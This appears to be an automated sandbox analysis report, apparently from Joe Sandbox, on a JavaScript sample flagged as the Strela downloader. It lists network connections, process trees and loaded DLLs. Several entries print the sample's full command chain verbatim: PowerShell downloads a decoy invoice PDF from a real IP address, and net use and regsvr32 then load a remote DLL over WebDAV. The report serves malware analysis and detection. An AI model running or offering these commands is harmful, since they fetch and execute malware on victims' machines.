Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2048620861.000001ABCBAFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2109742851.00000223C8DBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109668745.00000223C8D88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110195390.00000223C8DE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3338325703.000001C76000F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2108110510.000001C75FF00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4480, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 17266187282427315527.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_emior2du.kfb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,12707858693976067435,15828906244356528821,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,12707858693976067435,15828906244356528821,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
